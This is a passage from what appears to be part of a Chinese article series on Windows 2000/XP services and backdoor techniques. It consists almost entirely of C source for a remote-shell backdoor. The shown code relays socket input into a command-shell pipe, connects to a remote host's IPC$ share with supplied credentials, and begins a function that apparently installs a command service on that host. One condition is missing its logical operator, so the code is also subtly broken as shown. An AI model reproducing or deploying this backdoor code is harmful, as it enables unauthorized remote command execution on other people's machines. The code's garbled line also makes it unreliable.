|
浅析Windows 2000/XP服务与后门技术(10) szBuffer2Write[dwBuffer2Write++]=szBuffer[0];
if(strnicmp(szBuffer2Write,"exit\r\n",6)==0) { shutdown(sdWrite.sClient,0x02); closesocket(sdWrite.sClient); return 0; }
if(szBuffer[0]=='\n') { if(WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL)==0) { OutputDebugString("WriteFile in WriteShell(Recv) Error !\n"); break; } dwBuffer2Write=0; } Sleep(10); }
shutdown(sdWrite.sClient,0x02); closesocket(sdWrite.sClient); return 0; }
BOOL ConnectRemote(BOOL bConnect,char *lpHost,char *lpUserName,char *lpPassword) { char lpIPC[256]; DWORD dwErrorCode; NETRESOURCE NetResource;
sprintf(lpIPC,"\\\\%s\\ipc$",lpHost); NetResource.lpLocalName = NULL; NetResource.lpRemoteName = lpIPC; NetResource.dwType = RESOURCETYPE_ANY; NetResource.lpProvider = NULL;
if(!stricmp(lpPassword,"NULL")) { lpPassword=NULL; }
if(bConnect) { printf("Now Connecting ...... "); while(1) { dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE); if((dwErrorCode==ERROR_ALREADY_ASSIGNED) (dwErrorCode==ERROR_DEVICE_ALREADY_REMEMBERED)) { WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE); } else if(dwErrorCode==NO_ERROR) { printf("Success !\n"); break; } else { printf("Failure !\n"); return FALSE; } Sleep(10); } } else { printf("Now Disconnecting ... "); dwErrorCode=WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE); if(dwErrorCode==NO_ERROR) { printf("Success !\n"); } else { printf("Failure !\n"); return FALSE; } }
return TRUE; }
void InstallCmdService(char *lpHost) { SC_HANDLE schSCManager; SC_HANDLE schService; char lpCurrentPath[MAX_PATH]; char lpImagePath[MAX_PATH];
|